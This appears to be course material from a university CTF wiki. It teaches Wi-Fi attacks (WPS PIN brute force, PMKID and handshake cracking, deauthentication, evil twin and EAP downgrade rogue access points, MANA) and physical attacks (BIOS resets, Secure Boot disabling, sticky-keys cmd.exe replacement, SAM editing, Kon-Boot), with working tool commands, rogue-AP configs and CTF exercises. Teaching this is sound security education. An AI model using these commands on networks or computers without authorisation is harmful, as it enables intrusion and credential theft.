WPS stands for Wi-Fi Protected Setup. It is a wireless network security standard that tries to make connections between a router and wireless devices faster and easier. WPS works only for wireless networks that use a password that is encrypted with the WPA Personal or WPA2 Personal security protocols. WPS doesn't work on wireless networks that are using the deprecated WEP security, which can be cracked easily by any hacker with a basic set of tools and skills. (From here)

+

WPS uses a 8 length PIN to allow a user to connect to the network, but it's first checked the first 4 numbers and, if correct, then is checked the second 4 numbers. Then, it is possible to Brute-Force the first half and then the second half (only 11000 possibilities).

+

WPS Bruteforce

+

There are 2 main tools to perform this action: Reaver and Bully.

+
    +
  • +

    Reaver has been designed to be a robust and practical attack against WPS, and has been tested against a wide variety of access points and WPS implementations.

    +
  • +
  • +

    Bully is a new implementation of the WPS brute force attack, written in C. It has several advantages over the original reaver code: fewer dependencies, improved memory and cpu performance, correct handling of endianness, and a more robust set of options. It runs on Linux, and was specifically developed to run on embedded Linux systems (OpenWrt, etc) regardless of architecture.

    +
  • +
+

Bully provides several improvements in the detection and handling of anomalous scenarios. It has been tested against access points from numerous vendors, and with differing configurations, with much success.

+

If the WPS valid code is found, both Bully and Reaver will use it to discover the WPA/WPA2 PSK used to protect the network, so you will be able to connect anytime you need it.

+
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot    
+bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
+
+

Smart Brute force

+

Instead of starting trying every possible PIN, you should check if there are available PINs discoveredfor the AP you are attacking (depending of the manufacturer MAC) and the PIN software generated PINs.

+
    +
  • The database of known PINs is made for Access Points of certain manufacturers for which it is known that they use the same WPS PINs. This database contains the first three octets of MAC-addresses and a list of corresponding PINs that are very likely for this manufacturer.
  • +
  • There are several algorithms for generating WPS PINs. For example, ComputePIN and EasyBox use the MAC-address of the Access Point in their calculations. But the Arcadyan algorithm also requires a device ID.
  • +
+

WPS Pixie Dust attack

+

Dominique Bongard discovered that some APs have weak ways of generating nonces (known as E-S1 and E-S2) that are supposed to be secret. If we are able to figure out what these nonces are, we can easily find the WPS PIN of an AP since the AP must give it to us in a hash in order to prove that it also knowns the PIN, and the client is not connecting to a rouge AP. These E-S1 and E-S2 are essentially the "keys to unlock the lock box" containing the WPS pin. More info here: https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)

+

Basically, some implementations failed in the use of random keys to encrypt the 2 parts of the the PIN(as it is discomposed in 2 parts during the authentication communication and sent to the client), so an offline attack could be used to brute force the valid PIN.

+
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
+bully  wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
+
+

Null Pin attack

+

Some really bad implementations allowed the Null PIN to connect (very weird also). Reaver can test this (Bully cannot).

+
 reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
+
+

Airgeddon

+

All the proposed WPS attacks can be easily performed using *airgeddon.*

+

img

+
    +
  • 5 and 6 lets you try your custom PIN (if you have any)
  • +
  • 7 and 8 perform the Pixie Dust attack
  • +
  • 13 allows you to test the NULL PIN
  • +
  • 11 and 12 will recollect the PINs related to the selected AP from available databases and generate possible PINs using: ComputePIN, EasyBox and optionally Arcadyan (recommended, why not?)
  • +
  • 9 and 10 will test every possible PIN
  • +
+

WEP

+

So broken and disappeared that I am not going to talk about it. Just know that *airgeddon* have a WEP option called "All-in-One" to attack this kind of protection. More tools offer similar options.

+

img

+

WPA/WPA2 PSK

+

PMKID

+

In 2018 hashcat authors disclosed a new type of attack which not only relies on one single packet, but it doesn’t require any clients to be connected to our target AP or, if clients are connected, it doesn’t require us to send deauth frames to them, there’s no interaction between the attacker and client stations, but just between the attacker and the AP, interaction which, if the router is vulnerable, is almost immediate!

+

It turns out that a lot of modern routers append an optional field at the end of the first EAPOL frame sent by the AP itself when someone is associating, the so called Robust Security Network, which includes something called PMKID

+

As explained in the original post, the PMKID is derived by using data which is known to us:

+
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
+
+

Since the “PMK Name” string is constant, we know both the BSSID of the AP and the station and the PMK is the same one obtained from a full 4-way handshake, this is all hashcat needs in order to crack the PSK and recover the passphrase! Description obtained from here.

+

To gather this information and bruteforce locally the password you can do:

+
airmon-ng check kill
+airmon-ng start wlan0
+git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
+hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
+
+
#You can also obtains PMKIDs using eaphammer
+./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
+
+

The PMKIDs captured will be shown in the console and also saved inside /tmp/attack.pcap** Now, convert the capture to hashcat/john** format and crack it:

+
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
+hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
+john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
+
+

Please note the the format of a correct hash contains 4 parts, like: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7*566f6461666f6e65436f6e6e6563743034383131343838 If yours only contains 3 parts, then, it is invalid (the PMKID capture wasn't valid).

+

Note that hcxdumptoolalso capture handshakes (something like this will appear: MP:M1M2 RC:63258 EAPOLTIME:17091). You could transform the handshakes to hashcat/john format using cap2hccapx

+
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
+cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
+hccap2john pmkid.hccapx > handshake.john
+john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
+aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
+
+

I have noticed that some handshakes captured with this tool couldn't be cracked even knowing the correct password. I would recommend to capture handshakes also via traditional way if possible, or capture several of them using this tool.

+

Handshake capture

+

One way to attack WPA/WPA2 networks is to capture a handshake and try to crack the used password offline. To do so you need to find the BSSID and channel of the victim network, and a client that is connected to the network. Once you have that information you have to start listening to all the commutation of that BSSID in that channel, because hopefully the handshake will be send there:

+
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
+
+

Now you need to deauthenticate the client for a few seconds so it will automatically authenticate again to the AP (please read the part of DoS to find several ways to deauthenticate a client):

+
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work
+
+

Note that as the client was deauthenticated it could try to connect to a different AP or, in other cases, to a different network.

+

Once in theairodump-ng appears some handshake information this means that the handshake was captured and you can stop listening:

+

img

+

Once the handshake is captured you can crack it with aircrack-ng:

+
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
+
+

Check if handshake in file

+

aircrack

+
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
+
+

tshark

+
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
+
+

cowpatty

+
cowpatty -r psk-01.cap -s "ESSID" -f -
+
+

If this tool finds an uncompleted handshake of an ESSID before the completed one, it won't detect the valid one.

+

pyrit

+
apt-get install pyrit #Not working for newer versions of kali
+pyrit -r psk-01.cap analyze
+
+

WPA Enterprise (MGT)

+

It is important to talk about the different authentication methods that could be used by an enterprise Wifi. For this kind of Wifis you will probably find inairodump-ngsomething like this:

+
6A:FE:3B:73:18:FB  -58       19        0    0   1  195  WPA2 CCMP   MGT  NameOfMyWifi
+
+

EAP (Extensible Authentication Protocol) the skull of the authentication communication, on top of this, an authentication algorithm is used by the server to authenticate the client (supplicant) and in same cases by the client to authenticate the server. Main authentication algorithms used in this case:

+
    +
  • EAP-GTC: Is an EAP method to support the use of hardware tokens and one-time passwords with EAP-PEAP. Its implementation is similar to MSCHAPv2, but does not use a peer challenge. Instead, passwords are sent to the access point in plaintext (very interesting for downgrade attacks).
  • +
  • EAP-MD-5 (Message Digest): The client send the MD5 hash of the password. Not recommended: Vulnrable to dictionary attacks, no server authentication and no way to generate per session wired equivalent privacy (WEP) keys.
  • +
  • EAP-TLS (Transport Layer Security): It relies on client-side and server-side certificates to perform authentication and can be used to dynamically generate user-based and session-based WEP keys to secure subsequent communications.
  • +
  • EAP-TTLS (Tunneled Transport Layer Security): Mutual authentication of the client and network through an encrypted channel (or tunnel), as well as a means to derive dynamic, per-user, per-session WEP keys. Unlike EAP-TLS, EAP-TTLS requires only server-side certificates (client will use credentials).
  • +
  • PEAP (Protected Extensible Authentication Protocol): PEAP is like the EAP protocol but creating a TLS tunnel to protect the communication. Then, weak authentication protocols can by used on top of EAP as they will be protected by the tunnel.
  • +
  • PEAP-MSCHAPv2: This is also known as just PEAP because it is widely adopted. This is just the vulnerable challenge/response called MSCHAPv2 on to of PEAP (it is protected by the TLS tunnel).
  • +
  • PEAP-EAP-TLS or just PEAP-TLS: Is very similar to EAP-TLS but a TLS tunnel is created before the certificates are exchanged.
  • +
+

You can find more information about these authentication methods here and here.

+

Username Capture

+

Reading https://tools.ietf.org/html/rfc3748#page-27 it looks like if you are using EAP the "Identity" messages must be supported, and the username is going to be sent in clear in the "Response Identity" messages.

+

Even using one of the most secure of authentication methods: PEAP-EAP-TLS, it is possible to capture the username sent in the EAP protocol. To do so, capture a authentication communication (start airodump-ng inside a channel and wiresharkin the same interface) and filter the packets byeapol. Inside the "Response, Identity" packet, the username of the client will appear.

+

img

+

Anonymous Identities

+

(Info taken from https://www.interlinknetworks.com/app_notes/eap-peap.htm)

+

Both EAP-PEAP and EAP-TTLS support identity hiding. In a WiFi environment, the access point (AP) typically generates an EAP-Identity request as part of the association process. To preserve anonymity, the EAP client on the user’s system may respond with only enough information to allow the first hop RADIUS server to process the request, as shown in the following examples.

+
    +
  • EAP-Identity = anonymous
  • +
+
+

In this example, all users will share the pseudo-user-name “anonymous”. The first hop RADIUS server is an EAP-PEAP or EAP-TTLS server which drives the server end of the PEAP or TTLS protocol. The inner (protected) authentication type will then be either handled locally or proxied to a remote (home) RADIUS server.

+
+
    +
  • EAP-Identity = anonymous@realm_x
  • +
+
+

In this example, users belonging to different realms hide their own identity but indicate which realm they belong to so that the first hop RADIUS server may proxy the EAP-PEAP or EAP-TTLS requests to RADIUS servers in their home realms which will act as the PEAP or TTLS server. The first hop server acts purely as a RADIUS relay node.

+

Alternatively, the first hop server may act as the EAP-PEAP or EAP-TTLS server and either process the protected authentication method or proxy it to another server. This option may be used to configure different policies for different realms.

+
+

In EAP-PEAP, once the PEAP server and the PEAP client establish the TLS tunnel, the PEAP server generates an EAP-Identity request and transmits it down the TLS tunnel. The client responds to this second EAP-Identity request by sending an EAP-Identity response containing the user’s true identity down the encrypted tunnel. This prevents anyone eavesdropping on the 802.11 traffic from discovering the user’s true identity.

+

EAP-TTLS works slightly differently. With EAP-TTLS, the client typically authenticates via PAP or CHAP protected by the TLS tunnel. In this case, the client will include a User-Name attribute and either a Password or CHAP-Password attribute in the first TLS message sent after the tunnel is established.

+

With either protocol, the PEAP/TTLS server learns the user’s true identity once the TLS tunnel has been established. The true identity may be either in the form user@realm or simply user**. If the PEAP/TTLS server is also authenticating the user**, it now knows the user’s identity and proceeds with the authentication method being protected by the TLS tunnel. Alternatively, the PEAP/TTLS server may forward a new RADIUS request to the user’s home RADIUS server. This new RADIUS request has the PEAP or TTLS protocol stripped out. If the protected authentication method is EAP, the inner EAP messages are transmitted to the home RADIUS server without the EAP-PEAP or EAP-TTLS wrapper. The User-Name attribute of the outgoing RADIUS message contains the user’s true identity – not the anonymous identity from the User-Name attribute of the incoming RADIUS request. If the protected authentication method is PAP or CHAP (supported only by TTLS), the User-Name and other authentication attributes recovered from the TLS payload are placed in the outgoing RADIUS message in place of the anonymous User-Name and TTLS EAP-Message attributes included in the incoming RADIUS request.

+

EAP-Bruteforce (password spray)

+

If the client is expected to use a username and password (notice that EAP-TLS won't be valid in this case), then you could try to get a list a usernames (see next part) and passwords and try to bruteforce the access using air-hammer.

+
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
+
+

You could also do this attack using eaphammer:

+
./eaphammer --eap-spray \
+    --interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
+    --essid example-wifi \
+    --password bananas \
+    --user-list users.txt
+
+

Client attacks Theory

+

Network Selection and Roaming

+

Although the 802.11 protocol has very specific rules that dictate how a station can join an ESS, it does not specify how the station should select an ESS to connect to. Additionally, the protocol allows stations to roam freely between access points that share the same ESSID (because you wouldn’t want to lose WiFi connectivity when walking from one end of a building to another, etc). However, the 802.11 protocol does not specify how these access points should be selected. Furthermore, even though stations must be authenticated to the ESS in order to associate with an access point, the 802.11 protocol does not require the access point be authenticated to the station.

+

Preferred Network Lists (PNLs)

+

Each time a station connects to a wireless network, the network’s ESSID is stored in the station’s Preferred Network List (PNL). The PNL is an ordered list of every network that the station has connected to in the past, and each entry in the PNL contains the network’s ESSID and any network-specific configuration information needed to establish a connection.

+

Passive Scanning

+

In infrastructure networks, access points periodically transmit beacon frames to advertise their presence and capabilities to nearby stations. Beacons are broadcast frames, which means they are intended to be received by all nearby stations in range. Beacons include information about the AP’s supported rates, encryption capabilities, additional information, and most importantly, beacon frames contain the AP’s ESSID (as long as ESSID broadcasting is not disabled).

+

During passive scanning, the client device listens for beacon frames from nearby access points. If the client device receives a beacon frame whose ESSID field matches an ESSID from the client’s PNL, the client will automatically connect to the access point that sent the beacon frame. Then, suppose we want to target a wireless device that is not currently connected to any wireless. If we know at least one entry in that client’s PNL, we can force the client to connect to us simply by creating our own access point with that entry’s ESSID.

+

Active Probing

+

The second network selection algorithm used in 802.11 is known as Active Probing. Client devices that use active probing continuously transmit probe request frames to determine what APs are within range, as well as what their capabilities are. Probe requests come in two forms: directed and broadcast. Directed probe requests are addressed to a specific ESSID, and are the client’s way of checking if a specific network is nearby.

+

Clients that use directed probing will send out probe requests for each network in its PNL. It should be noted that directed probing is the only way of identify the presence of nearby hidden networks. Broadcast probe requests work almost exactly the same way, but are sent with the SSID field set to NULL. This addresses the broadcast probe to all nearby access points, allowing the the station to check if any of its preferred networks are nearby without revealing the contents of its PNL

+

Simple AP with redirection to Internet

+

Before explaining how to perform more complex attacks it's going to be explained how to just create an AP and redirect it's traffic to an interface connected to the Internet.

+

Using ifconfig -a check that the wlan interface to create the AP and the interface connected to the Internet are present.

+

DHCP & DNS

+
apt-get install dnsmasq #Manages DHCP and DNS
+
+

create a config file /etc/dnsmasq.conf as follows:

+
interface=wlan0
+dhcp-authoritative
+dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
+dhcp-option=3,192.168.1.1
+dhcp-option=6,192.168.1.1
+server=8.8.8.8
+log-queries
+log-dhcp
+listen-address=127.0.0.1
+
+

Then set IPs and routes:

+
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
+route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
+
+

And then start dnsmasq:

+
dnsmasq -C dnsmasq.conf -d
+
+

hostapd

+
apt-get install hostapd
+
+

Create a config file hostapd.conf:

+
interface=wlan0
+driver=nl80211
+ssid=MITIWIFI
+hw_mode=g
+channel=11
+macaddr_acl=0
+ignore_broadcast_ssid=0
+auth_algs=1
+wpa=2
+wpa_passphrase=mitmwifi123
+wpa_key_mgmt=WPA-PSK
+wpa_pairwise=CCMP
+wpa_group_rekey=86400
+ieee80211n=1
+wme_enabled=1
+
+

Stop annoying processes , set monitor mode, and start hostapd:

+
airmon-ng check kill
+iwconfig wlan0 mode monitor
+ifconfig wlan0 up
+hostapd ./hostapd.conf
+
+

Forwarding and Redirection

+
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
+iptables --append FORWARD --in-interface wlan0 -j ACCEPT
+echo 1 > /proc/sys/net/ipv4/ip_forward
+
+

Evil Twin

+

An evil twin attack is a type Wi-Fi attack that works by taking advantage of the fact that most computers and phones will only see the "name" or ESSID of a wireless network (as the base station is not required to authenticate against the client). This actually makes it very hard to distinguish between networks with the same name and same kind of encryption. In fact, many networks will have several network-extending access points all using the same name to expand access without confusing users.

+

Due how the implementation of clients work (remember that the 802.11 protocol allows stations to roam freely between access points within the same ESS), it is possible to make a device to change the base station it is connected to. It is possible to do that offering a better signal (which is not always possible) or by blocking the access to the original base station (deauthentication packets, jamming, or some other form of DoS attack).

+

Notice also that real-world wireless deployments usually have more than a single access point, and these access points are often more powerful and have better line-of-site range due to their placement towards the ceiling. Deauthenticating a single access point usually results in the target roaming towards another valid access point rather than your rogue AP, unless all nearby access points are deauthenticated (loud) or you are very careful with the placement of the rogue AP (difficult).

+

You can create a very basic Open Evil Twin (no capabilities to route traffic to Internet) doing:

+
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
+
+

You could also create an Evil Twin using eaphammer (notice that to create evil twins with eaphammer the interface should NOT be in monitor mode):

+
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
+
+

Or using Airgeddon: Options: 5,6,7,8,9 (inside Evil Twin attack menu).

+

img

+

Please, notice that by default if an ESSID in the PNL is saved as WPA protected, the device won't connect automatically to an Open evil Twin. You can try to DoS the real AP and hope that the user will connect manually to your Open evil twin, or you could DoS the real AP an use a WPA Evil Twin to capture the handshake (using this method you won't be able to let the victim connect to you as you don't know the PSK, but you can capture the handshake and try to crack it).

+

Some OS and AV will warn the user that connect to an Open network is dangerous...

+

WPA/WPA2 Evil Twin

+

You can create an Evil Twin using WPA/2 and if the devices have configured to connect to that SSID with WPA/2, they are going to try to connect. Anyway, to complete the 4-way-handshake you also need to know the password that the client is going to use. If you don't know it, the connection won't be completed.

+
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
+
+

Enterprise Evil Twin

+

To understand this attacks I would recommend to read before the brief WPA Enterprise explanation.

+

Using hostapd-wpe

+

hostapd-wpe needs a configuration file to work. To automate the generation if these configurations you could use https://github.com/WJDigby/apd_launchpad (download the python file inside /etc/hostapd-wpe/)

+
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
+hostapd-wpe ./victim/victim.conf -s
+
+

In the configuration file you can select a lot of different things like ssid, channel, user files, cret/key, dh parameters, wpa version and auth...

+

Using hostapd-wpe with EAP-TLS to allow any certificate to login.

+

Using EAPHammer

+
# Generate Certificates./eaphammer --cert-wizard
+# Launch Attack./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
+
+

By default, EAPHammer purposes this authentication methods (notice GTC as the first one to try to obtain plaintext passwords and then the use of more robust auth methods):

+
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
+
+

This is the default methodology to avoid long connection times. However, you can also specify to server the authentication methods from weakest to strongest:

+
--negotiate weakest
+
+

Or you could also use:

+
    +
  • --negotiate gtc-downgrade to use highly efficient GTC downgrade implementation (plaintext passwords)
  • +
  • --negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP to specify manually the methods offered (offering the same auth methods in the same order as the organisation the attack will be much more difficult to detect).
  • +
  • Find more info in the wiki
  • +
+

Using Airgeddon

+

Airgeddoncan use previously generated certificated to offer EAP authentication to WPA/WPA2-Enterprise networks. The fake network will downgrade the connection protocol to EAP-MD5 so it will be able to capture the user and the MD5 of the password. Later, the attacker can try to crack the password. Airggedonoffers you the possibility of a continuous Evil Twin attack (noisy) or only create the Evil Attack until someone connects (smooth).

+

img

+

Debugging PEAP and EAP-TTLS TLS tunnels in Evil Twins attacks

+

This method was tested in an PEAP connection but as I'm decrypting an arbitrary TLS tunnel this should also works with EAP-TTLS

+

Inside the configuration of hostapd-wpe comment the line that contains dh_file** (from dh_file=/etc/hostapd-wpe/certs/dh to #dh_file=/etc/hostapd-wpe/certs/dh) This will make hostapd-wpe to exchange keys using RSA instead of DH, so you will be able to decrypt the traffic later knowing the servers private key**.

+

Now start the Evil Twin using hostapd-wpe with that modified configuration as usual. Also, start wiresharkin the interface which is performing the Evil Twin attack.

+

Now or later (when you have already captured some authentication intents) you can add the private RSA key to wireshark in: Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...

+

Add a new entry and fill the form with this values: IP address = any -- Port = 0 -- Protocol = data -- Key File (select your key file, to avoid problems select a key file without being password protected).

+

img

+

And look at the new "Decrypted TLS" tab:

+

img

+

KARMA, MANA, Loud MANA and Known beacons attack

+

ESSID and MAC black/whitelists

+

The following table lists the different type of MFACLs (Management Frame Access Control Lists) available, as well their effects when used:

+

img

+
# example EAPHammer MFACL file, wildcards can be used78:f0:97:fc:b5:369a:35:e1:01:4f:cf69:19:14:60:20:45ce:52:b8:*:*:*
+[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting][--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
+
+
# example ESSID-based MFACL fileapplesorangesgrapespears
+[--ssid-whitelist /path/to/mac/whitelist/file.txt][--ssid-blacklist /path/to/mac/blacklist/file.txt]
+
+

KARMA

+

Karma attacks are a second form of rogue access point attack that exploits the network selection process used by stations. In a whitepaper written in 2005, Dino Dai Zovi and Shane Macaulay describe how an attacker can configure an access point to listen for directed probe requests and respond to all of them with matching directed probe responses. This causes the affected stations to automatically send an association request to the attacker’s access point. The access point then replies with an association response, causing the affected stations to connect to the attacker.

+

MANA

+

According to Ian de Villiers and Dominic White, modern stations are designed to protect themselves against karma attacks by ignoring directed probe responses from access points that have not already responded to at least one broadcast probe request. This led to a significant drop in the number of stations that were vulnerable to karma attacks until 2015, when White and de Villiers developed a means of circumventing such protections. In White’s and de Villiers’ improved karma attack (MANA attack), directed probe responses are used to reconstruct the PNLs of nearby stations. When a broadcast probe request is received from a station, the attacker’s access point responds with an arbitrary SSID from the station’s PNL already being saw in a direct probe from that device.

+

In resume, the MANA algorithm works like this: each time the access point receives a probe request, it first determines whether it’s a broadcast or directed probe. If it’s directed probe, the sender’s MAC address is added to the hash table (if it’s not there already) and the ESSID is added to that device’s PNL. The AP then responds with a directed probe response. If it’s a broadcast probe, the access point responds with probe responses for each of the networks in that device’s PNL.

+

MANA attack using eaphammer:

+
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
+
+

Loud MANA

+

Notice that the standard MANA attack still does not allow us to attack devices that don’t use directed probing at all. So if we also doesn't know previously any entry inside the device PNL, we need to figure out some other way to attack it.

+

A possibility is what is called Loud MANA attack. This attack relies on the idea that client devices within close physical proximity to one another are likely to have at least some common entries in their PNLs.

+

In resume, Loud MANA attack instead of responding to probe requests with each ESSID in a particular device’s PNL, the rogue AP sends probe responses for every ESSID in every PNL across all devices that it has seen before. Relating this to set theory, we can say that the AP sends probe responses for each ESSID in the union of all PNLs of nearby devices.

+
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
+
+

Known Beacon attack

+

There are still cases in which Loud MANA attack won’t succeed. The Known Beacon attack is a way to "Brute-Force" ESSIDs to try to get the victim connect to the attacker. The attacker creates an AP that response to any ESSID and run some code sending beacons faking ESSIDs of each name inside a wordlist. Hopefully the victim will contains some of theses ESSID names inside its PNL and will try to connect to the fake AP. Eaphammer implemented this attack as a MANA attack where all the ESSIDs inside a list are charged (you could also combine this with --loud to create a Loud MANA + Known beacons attack):

+
./eaphammer -i wlan0 --mana [--loud] --known-beacons  --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
+
+

Known Beacon Burst attack

+

As known beacons are loud. You can use a script inside Eaphammer project to just launch beacouns of every ESSID name inside a file very quickly. If you combines this script with a Eaphammer MANA attack, the clients will be able to connect to your AP.

+
# transmit a burst of 5 forged beacon packets for each entry in list
+./forge-beacons -i wlan1 \
+ --bssid de:ad:be:ef:13:37 \
+ --known-essids-file known-s.txt \
+ --dst-addr 11:22:33:11:22:33 \
+ --burst-count 5
+
+

Other tools

+

Wifite2

+

This tool automates WPS/WEP/WPA-PSK attacks. It will automatically:

+
    +
  • Set the interface in monitor mode
  • +
  • Scan for possible networks - And let you select the victim(s)
  • +
  • If WEP - Launch WEP attacks
  • +
  • If WPA-PSK
  • +
  • If WPS: Pixie dust attack and the bruteforce attack (be careful the brute-force attack could take a long time). Notice that it doesn't try null PIN or database/generated PINs.
  • +
  • Try to capture the PMKID from the AP to crack it
  • +
  • Try to deauthenticate clients of the AP to capture a handshake
  • +
  • If PMKID or Handshake, try to bruteforce using top5000 passwords.
  • +
+

Exercise

+

(4 pt) Insecure WPA

+

WiFi standards update so quick.

+

Some security problems, some new attack ideas, balabala...

+

I just don't want to update my router. Seriously, who would hack my wireless network?

+

flag format: flag{md5 of the WiFi password}

+

capture.cap

+

(4 pt) 野獣先輩(やじゅうせんぱい)'s traffic sniff

+

My せんぱい (seniority) invited me to play games in his house.

+

The seniority treated me with delicious black tea. But his WiFi is too slow to play video games. So, I'm going to debug this wireless network.

+

114514.7z

+

(2 pt) wifi

+

Wang uploaded a Godzilla Trojan to server upload-labs. The memory image, wifi traffic, and the server's traffic are saved.

+

Wang used Trojan to run cat /flag, and you are given these files. Find the flag.

+

chall.zip

+ + + + + + + + + + + + + + + +
+
+ + + +
+ +
+ + + +
+
+
+
+ + + + + + + + + + \ No newline at end of file diff --git a/CS315/2021/Week 8/index.html b/CS315/2021/Week 8/index.html new file mode 100644 index 000000000..4a271e271 --- /dev/null +++ b/CS315/2021/Week 8/index.html @@ -0,0 +1,10329 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + Week8 MISC: Physical Attacks - COMPASS CTF Wiki + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ + + + Skip to content + + +
+
+ +
+ + + + + + +
+ + + + + + + +
+ +
+ + + + +
+
+ + + +
+
+
+ + + + + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + +

Week8 MISC: Physical Attacks

+

According to @Hacktricks: https://book.hacktricks.xyz/

+

BIOS password

+

The battery

+

Most of the motherbords have a battery. If you remove it 30min the settings of the BIOS will be restarted (password included).

+

Jumper CMOS

+

Most of the motherboards have a jumper that can restart the settings. This jumper connects a central pin with another, if you connect thoses pins the motherbord will be reseted.

+

Live Tools

+

If you could run for example a Kali Linux from a Live CD/USB you could use tools like killCmos** or CmosPWD* (this last one is included in Kali) you could try to recover the password of the BIOS*.

+

Online BIOS password recovery

+

Put the password of the BIOS 3 times wrong, then the BIOS will show an error message and it will be blocked. Visit the page https://bios-pw.org and introduce the error code shown by the BIOS and you could be lucky and get a valid password (the same search could show you different passwords and more than 1 could be valid).

+

UEFI

+

To check the settings of the UEFI and perform some kind of attack you should try chipsec. Using this tool you could easily disable the Secure Boot:

+
python chipsec_main.py -module exploits.secure.boot.pk
+
+

RAM

+

Cold boot

+

The RAM memory is persistent from 1 to 2 minutes from the time the computer is powered off. If you apply cold (liquid nitrogen, for example) on the memory card you can extend this time up to 10 minutes.

+

Then, you can do a memory dump (using tools like dd.exe, mdd.exe, Memoryze, win32dd.exe or DumpIt) to analyze the memory.

+

You should analyze the memory using volatility.

+

INCEPTION

+

Inception is a physical memory manipulation and hacking tool exploiting PCI-based DMA. The tool can attack over FireWire, Thunderbolt, ExpressCard, PC Card and any other PCI/PCIe HW interfaces. Connect your computer to the victim computer over one of those interfaces and INCEPTION will try to patch the pyshical memory to give you access.

+

If INCEPTION succeeds, any password introduced will be vaid.

+

It doesn't work with Windows10.

+

Live CD/USB

+

Sticky Keys and more

+
    +
  • SETHC: sethc.exe is invoked when SHIFT is pressed 5 times
  • +
  • UTILMAN: Utilman.exe is invoked by pressing WINDOWS+U
  • +
  • OSK: osk.exe is invoked by pressing WINDOWS+U, then launching the on-screen keyboard
  • +
  • DISP: DisplaySwitch.exe is invoked by pressing WINDOWS+P
  • +
+

These binaries are located inside C:\Windows\System32**. You can change any of them for a copy of the binary cmd.exe (also in the same folder) and any time that you invoke any of those binaries a command prompt as SYSTEM** will appear.

+

Modifying SAM

+

You can use the tool chntpw** to modify the SAM* file* of a mounted Windows filesystem. Then, you could change the password of the Administrator user, for example. This tool is available in KALI.

+
chntpw -h
+chntpw -l <path_to_SAM>
+
+

Inside a Linux system you could modify the /etc/shadow** or /etc/passwd* file.*

+

Kon-Boot

+

Kon-Boot is one of the best tools around which can log you into Windows without knowing the password. It works by hooking into the system BIOS and temporarily changing the contents of the Windows kernel while booting (new versions work also with UEFI). It then allows you to enter anything as the password during login. The next time you start the computer without Kon-Boot, the original password will be back, the temporary changes will be discarded and the system will behave as if nothing has happened. Read More: https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/

+

It is a live CD/USB that can patch the memory so you won't need to know the password to login. Kon-Boot also performs the StickyKeys trick so you could press Shift** 5 times to get an Administrator cmd**.

+

Running Windows

+

Initial shortcuts

+

Booting shortcuts

+
    +
  • supr - BIOS
  • +
  • f8 - Recovery mode
  • +
  • supr - BIOS ini
  • +
  • f8 - Recovery mode
  • +
  • Shitf (after the windows banner) - Go to login page instead of autologon (avoid autologon)
  • +
+

BAD USBs

+

Rubber Ducky tutorials

+ +

Teensyduino

+ +

There are also tons of tutorials about how to create your own bad USB.

+

Volume Shadow Copy

+

With administrators privileges and powershell you could make a copy of the SAM file. See this code.

+

Bypassing Bitlocker

+

Bitlocker uses 2 passwords. The one used by the user, and the recovery password (48 digits).

+

